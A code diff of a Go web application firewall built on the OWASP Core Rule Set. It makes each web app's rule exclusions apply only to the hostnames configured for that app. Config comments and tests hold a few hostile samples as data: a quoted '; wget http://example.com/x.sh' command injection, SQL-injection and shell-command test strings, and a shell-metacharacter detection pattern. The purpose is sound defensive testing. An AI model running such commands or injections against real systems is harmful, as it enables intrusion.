@@ -350,13 +319,15 @@ func checkExclusions(exclusions string) error {
type CoreRuleSet struct {
engine coraza.WAF
bodyLimit int64
apps map[string][]string
}
// New returns the Core Rule Set with the fourteen changes, at params'
// paranoia level, without the rules it switches off, reading request
// bodies up to params' limit, and with params' exclusions file loaded
// before the Core Rule Set's rules. An exclusions file is an error if it
// cannot be read or does not parse, or if checkExclusions refuses it.
// New returns the Core Rule Set with the six changes and the apps' fixes,
// at params' paranoia level, without the rules it switches off, reading
// request bodies up to params' limit, and with params' exclusions file
// loaded before the Core Rule Set's rules. An exclusions file is an error
// if it cannot be read or does not parse, or if checkExclusions refuses
// it.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyLimit > 0 {
@@ -379,10 +350,13 @@ func New(params Params) (*CoreRuleSet, error) {
}
}
var fixes strings.Builder
for _, name := range AppNames() {
fixes.WriteString(apps[name].directives + "\n")
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
giteaExclusions, wordpressExclusions, drupalExclusions,
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
nextcloudExclusions)
fixes.String())
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
@@ -400,7 +374,9 @@ func New(params Params) (*CoreRuleSet, error) {
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
}
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
return &CoreRuleSet{
engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps,
}, nil
}
// Result is what the Core Rule Set found in a request.
@@ -412,11 +388,12 @@ type Result struct {
Score int
}
// Inspect runs the Core Rule Set on r, a request from client: on its
// method, its URL with the query, and its headers, the Cookie header
// without the cookies in cookiesNotRead, and on body, r's body as the
// caller has it, as readBody reads it. It returns what it found, what it
// read of body, and the error that ended the reading early, if one did.
// Inspect runs the Core Rule Set on r, a request from client, with the
// fixes of the apps appsFor names for r's hostname: on its method, its URL
// with the query, and its headers, the Cookie header without those apps'
// cookies, and on body, r's body as the caller has it, as readBody reads
// it. It returns what it found, what it read of body, and the error that
// ended the reading early, if one did.
func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) {
@@ -424,13 +401,24 @@ func (c *CoreRuleSet) Inspect(
// Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }()
// The transaction's variables are set only through Coraza's interface
// for plugins.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
var cookiesNotRead []string
for _, name := range c.appsFor(r.Host) {
state.Variables().TX().Set("app_"+name, []string{"1"})
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
}
tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header {
for _, value := range values {
if name == "Cookie" {
value = withoutCookiesNotRead(value)
value = withoutCookies(value, cookiesNotRead)
if value == "" {
continue // it held those cookies alone
}
@@ -523,9 +511,26 @@ func score(tx types.Transaction) int {
return n
}
// withoutCookiesNotRead returns value, a Cookie header's, without the
// cookies in cookiesNotRead.
func withoutCookiesNotRead(value string) string {
// appsFor returns the names of the apps whose fixes a request for host,
// its Host header, gets: every app while SWW_APPS is unset, and otherwise
// those SWW_APPS lists for host's name, without the port and in
// lowercase.
func (c *CoreRuleSet) appsFor(host string) []string {
if c.apps == nil {
return AppNames()
}
hostname, _, err := net.SplitHostPort(host)
if err != nil {
hostname = host // it has no port
}
return c.apps[strings.ToLower(hostname)]
}
// withoutCookies returns value, a Cookie header's, without the cookies
// named in cookiesNotRead.
func withoutCookies(value string, cookiesNotRead []string) string {
var kept []string
for cookie := range strings.SplitSeq(value, ";") {
internal/coreruleset/coreruleset_test.go
+167 -16
View File
@@ -36,12 +36,14 @@ var loaded = struct {
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
// loaderFor returns the function that loads the Core Rule Set with params
// once, making it the first time params are asked for.
// once, making it the first time params are asked for. %#v writes a nil
// Apps, which gives every app's fixes, apart from an empty one, which
// gives none.
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
loaded.Lock()
defer loaded.Unlock()
settings := fmt.Sprintf("%+v", params)
settings := fmt.Sprintf("%#v", params)
load, found := loaded.loaders[settings]
if !found {
@@ -155,9 +157,10 @@ func inspectBody(
}
for _, header := range r.headers {
// Go's server keeps Host and Transfer-Encoding out of the headers.
// Go's server keeps Host and Transfer-Encoding out of the headers,
// whatever their case.
name, value, _ := strings.Cut(header, ": ")
switch name {
switch http.CanonicalHeaderKey(name) {
case "Host":
req.Host = value
case "Transfer-Encoding":
@@ -202,8 +205,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
}
// wantChange checks that crs lets through passes, a request one of the
// fourteen changes is for, and still finds result in refused, a request like
// it that the change is not for.
// six changes or an app's fixes are for, and still finds result in
// refused, a request like it that they are not for.
func wantChange(
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
result coreruleset.Result,
@@ -464,6 +467,127 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
matched(930120, 932160))
}
// giteaFixed are gitea requests that only gitea's fixes let through, one
// for each kind of fix, each with what the Core Rule Set finds in it
// without them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaFixed = []struct {
request request
result coreruleset.Result
}{
// A search of code, on the path of gitea's search.
{get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)},
// A file name, in a parameter gitea sends names in, on any path.
{get("/?path=.gitignore"), matched(930120)},
// A file name, in a cookie of gitea's.
{
get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"),
matched(930120),
},
}
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
// one that serves another app.
const (
giteaHost = "git.example"
otherHost = "blog.example"
)
// recordedHost is the hostname the recorded requests of Drupal, MediaWiki,
// Mastodon, Vaultwarden and Nextcloud were sent to.
const recordedHost = "example.com"
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
// wordpress is WordPress's name in SWW_APPS.
const wordpress = "wordpress"
// withHost returns r sent to host.
func withHost(r request, host string) request {
return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)}
}
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
// giving apps.
func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
})
}
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, nil)
for _, fixed := range giteaFixed {
for _, host := range []string{giteaHost, otherHost} {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
// The hostname is matched without the port and without regard to case.
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
t.Parallel()
for _, apps := range []map[string][]string{
{giteaHost: {gitea}},
// SWW_APPS set empty lists no hostname.
{},
} {
crs := servingApps(t, apps)
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), fixed.result)
}
}
}
}
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {wordpress},
})
// A search, which only WordPress's fixes let through.
search := get("/?s=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
// A file name that only gitea's fixes let through, and a search that only
// WordPress's fixes let through.
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{})
}
}
// withExclusions returns the Core Rule Set at the defaults, with the
// exclusions file at path.
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
@@ -625,18 +749,18 @@ const passwordField = "password="
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
// wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused, at the defaults and
// while bodies are read. A request with neither a body nor a Content-Type
// header is checked only at the defaults: with neither, the set that reads
// requests in the file name in testdata is refused by defaults, which
// reads no body, or by bodies, which reads it. A request with neither a
// body nor a Content-Type header is checked only by defaults: with neither,
// bodies has nothing more to check. Each request runs as its own parallel
// subtest.
func wantRecordedRequestsPass(t *testing.T, name string) {
func wantRecordedRequestsPass(
t *testing.T, name string, defaults, bodies *coreruleset.CoreRuleSet,
) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, recorded := range recordedRequests(t, name) {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
t.Parallel()
@@ -836,13 +960,16 @@ func wordpressAttackTargets(attack string) []string {
}
}
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
// wantWordPressRequestsPass checks that the recorded ordinary WordPress
// requests pass defaults, which reads no body, and that those with a body
// pass bodies, which reads it.
func wantWordPressRequestsPass(
t *testing.T, defaults, bodies *coreruleset.CoreRuleSet,
) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
t.Parallel()
@@ -862,6 +989,16 @@ func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
}
})
}
}
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
wantWordPressRequestsPass(t, defaults, bodies)
for _, attack := range []string{
sqlInjection,
@@ -938,6 +1075,20 @@ func wordpressWords() []struct {
}
}
func TestHostnameListingWordPressLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
// The requests were recorded on otherHost.
apps := map[string][]string{otherHost: {wordpress}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
Apps: apps,
})
wantWordPressRequestsPass(t, servingApps(t, apps), bodies)
}
// wordpressBlock is the comment that starts every block of WordPress's
// HTML, which rule 941180 matches.
const wordpressBlock = "<!-- wp:paragraph -->"
internal/coreruleset/drupal.conf
+10 -1
View File
@@ -1,4 +1,4 @@
# The tenth change: on Drupal's paths, some fields skip the rules that refused
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
# ordinary Drupal requests there. They are the fields where Drupal sends a
# search, a name, a file name or an address. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
@@ -25,6 +25,13 @@
# 932230: ls -la
# 932235: python3
# Unless SWW_APPS lists drupal for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_drupal when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_drupal itself.
SecRule &TX:app_drupal "@eq 0" \
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
# Every admin page's filters and autocompletes, and the page to return to:
# title: /admin/content?title=python3
# name: /admin/content/media?name=python3
@@ -237,3 +244,5 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
SecRule &ARGS_GET:json.mail "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
SecMarker END_DRUPAL
internal/coreruleset/drupal_test.go
+30 -1
View File
@@ -5,6 +5,8 @@ import (
"net/url"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -34,7 +36,34 @@ const drupalName = "name="
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt")
wantRecordedRequestsPass(t, "drupal-requests.txt", atDefaults(t), readingBodies(t))
}
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"drupal"},
})
// A search, which only Drupal's fixes let through.
search := get("/search?keys=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestHostnameListingDrupalLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
apps := map[string][]string{recordedHost: {"drupal"}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
wantRecordedRequestsPass(t, "drupal-requests.txt", servingApps(t, apps), bodies)
}
// drupalAttacks are an SQL injection, a path traversal and a script
internal/coreruleset/gitea.conf
+54 -7
View File
@@ -1,8 +1,53 @@
# The eighth change: on gitea's paths, some fields skip the rules that refused
# ordinary gitea requests there. They are the fields where gitea sends a search,
# a file name or a branch name. Each exclusion runs with the request, before the
# rules it switches off, those of phase 1 included, so this file is loaded before
# the Core Rule Set's rules. Each comment names a request the rule refused.
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
# They are the fields where gitea sends a search, a file name or a branch name.
# Each exclusion runs with the request, before the rules it switches off, those
# of phase 1 included, so this file is loaded before the Core Rule Set's rules.
# Each comment names a request the rule refused.
# Unless SWW_APPS lists gitea for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_gitea when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_gitea itself.
SecRule &TX:app_gitea "@eq 0" \
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
# The query parameters in which gitea sends names within a repository or its
# own records, or a page of its own site, are not checked against the lists of
# system files, shell paths and command names, on any path:
# 930120: .gitignore
# 932160: bin/docker-entrypoint
# 932260: docker-build
SecAction "id:900591,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:path,\
ctl:ruleRemoveTargetById=930120;ARGS:files,\
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932160;ARGS:path,\
ctl:ruleRemoveTargetById=932160;ARGS:files,\
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932260;ARGS:path,\
ctl:ruleRemoveTargetById=932260;ARGS:files,\
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
# gitea's searches of code, of issues and pull requests, and of commits send the
# text searched for in q, which skips these rules there:
@@ -163,8 +208,8 @@ SecRule REQUEST_FILENAME \
# 942140: information_schema.sql
# 944110: java/lang/Runtime.java
# 944130: java.lang.String.md
# Each request skips the rules that refused it. The fourth change already has
# path and redirect_to skip 930120, 932160 and 932260 on every path.
# Each request skips the rules that refused it. Rule 900591 already has path and
# redirect_to skip 930120, 932160 and 932260 on every path.
# A file's commit graph, in file.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
@@ -289,3 +334,5 @@ SecRule REQUEST_FILENAME \
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
"id:900640,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
SecMarker END_GITEA
internal/coreruleset/mastodon.conf
+10 -1
View File
@@ -1,4 +1,4 @@
# The twelfth change: on Mastodon's paths, some fields skip the rules that
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that
# refused ordinary Mastodon requests there. They are the fields where Mastodon
# sends a search, a name, a title, a file name, an address or free text. Each
# exclusion runs with the request, before the rules it switches off, so this
@@ -17,6 +17,13 @@
# 932250: ls -la
# 932260: python3
# Unless SWW_APPS lists mastodon for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_mastodon when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mastodon itself.
SecRule &TX:app_mastodon "@eq 0" \
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
# The API's searches and names, in the query:
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
# acct: /api/v1/accounts/lookup?acct=python3
@@ -216,3 +223,5 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
SecMarker END_MASTODON
internal/coreruleset/mastodon_test.go
+28 -1
View File
@@ -57,7 +57,34 @@ const (
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mastodon-requests.txt")
wantRecordedRequestsPass(t, "mastodon-requests.txt", atDefaults(t), readingBodies(t))
}
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"mastodon"},
})
// A search, which only Mastodon's fixes let through.
search := get("/api/v2/search?q=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestHostnameListingMastodonLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
apps := map[string][]string{recordedHost: {"mastodon"}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
wantRecordedRequestsPass(t, "mastodon-requests.txt", servingApps(t, apps), bodies)
}
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
internal/coreruleset/mediawiki.conf
+13 -2
View File
@@ -1,4 +1,4 @@
# The eleventh change: on MediaWiki's paths, some fields skip the rules that
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
# sends a search, a title, a name, a file name, an address, a summary or a
# reason, and the fields that hold wikitext. Each exclusion runs with the
@@ -21,6 +21,13 @@
# 932250: ls -la
# 932260: python3
# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_mediawiki when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mediawiki itself.
SecRule &TX:app_mediawiki "@eq 0" \
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
# The pages and their titles, the searches, and the special pages' fields
# for a page, a user, a file or an address:
# title: /index.php?title=Python3_notes&action=history
@@ -198,10 +205,12 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
# This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip these rules for a second wpTitles
# holding a command.
# holding a command. It checks tx.app_mediawiki, since the skip above does not
# reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
@@ -210,3 +219,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
SecMarker END_MEDIAWIKI
internal/coreruleset/mediawiki_test.go
+56 -1
View File
@@ -4,11 +4,16 @@ import (
"net/http"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5
// mediawiki is MediaWiki's name in SWW_APPS.
const mediawiki = "mediawiki"
// mediawikiEdit is the address MediaWiki's edit form posts to.
const mediawikiEdit = "/index.php?title=Example&action=submit"
@@ -45,7 +50,57 @@ const (
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
wantRecordedRequestsPass(t, "mediawiki-requests.txt", atDefaults(t), readingBodies(t))
}
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {mediawiki},
})
// A search, which only MediaWiki's fixes let through.
search := get("/index.php?title=Special:Search&search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
})
// A watchlist that only the phase 2 rule 900916 lets through.
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got)
}
}
func TestHostnameListingMediaWikiLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
apps := map[string][]string{recordedHost: {mediawiki}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
wantRecordedRequestsPass(t, "mediawiki-requests.txt", servingApps(t, apps), bodies)
}
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
internal/coreruleset/nextcloud.conf
+10 -1
View File
@@ -1,4 +1,4 @@
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
# sends a search, a name, a file name, a folder, a comment, a note, a status or
# a document's text. Each exclusion runs with the request, before the rules it
@@ -29,6 +29,13 @@
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
# injection, path traversal and script injection are still refused there.
# Unless SWW_APPS lists nextcloud for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_nextcloud when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_nextcloud itself.
SecRule &TX:app_nextcloud "@eq 0" \
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
# The sync client and the Files app use these WebDAV methods besides those
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
@@ -246,3 +253,5 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
"id:900118,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
SecMarker END_NEXTCLOUD
internal/coreruleset/nextcloud_test.go
+45 -1
View File
@@ -50,7 +50,51 @@ const nextcloudOther = `{"other":"python3"}`
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
wantRecordedRequestsPass(t, "nextcloud-requests.txt", atDefaults(t), readingBodies(t))
}
// nextcloud is Nextcloud's name in SWW_APPS.
const nextcloud = "nextcloud"
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// A search, which only Nextcloud's fixes let through.
search := get(nextcloudUsers + "?search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// Listing a folder, as the sync client does.
list := request{nextcloudPropFind, nextcloudFiles, nil}
wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(list, giteaHost), matched(911100))
}
func TestHostnameListingNextcloudLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
apps := map[string][]string{recordedHost: {nextcloud}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
wantRecordedRequestsPass(t, "nextcloud-requests.txt", servingApps(t, apps), bodies)
}
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
internal/coreruleset/vaultwarden.conf
+10 -1
View File
@@ -1,4 +1,4 @@
# The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
# refused ordinary Vaultwarden requests there. They are the fields where
# Vaultwarden receives a name, a password hint or an email address in plain
# text, and the names of uploaded files. Each exclusion runs with the request,
@@ -17,6 +17,13 @@
# 932250: ls -la
# 932260: python3
# Unless SWW_APPS lists vaultwarden for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_vaultwarden when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_vaultwarden itself.
SecRule &TX:app_vaultwarden "@eq 0" \
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
# Names and password hints, in JSON bodies, skip the four rules:
# name: signing up, editing the account's profile, and creating or renaming
# an organization or a group, "python3 .htaccess team"
@@ -82,3 +89,5 @@ SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
"id:900153,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920120;FILES"
SecMarker END_VAULTWARDEN
internal/coreruleset/vaultwarden_test.go
+32 -1
View File
@@ -7,6 +7,8 @@ import (
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -30,7 +32,36 @@ const vaultwardenEmail = `{"email":"VALUE"}`
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
wantRecordedRequestsPass(t, "vaultwarden-requests.txt",
atDefaults(t), readingBodies(t))
}
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"vaultwarden"},
})
// An address for the data breach report, which only Vaultwarden's fixes
// let through.
report := get(vaultwardenBreachReport + "python3%40example.com")
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
}
func TestHostnameListingVaultwardenLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
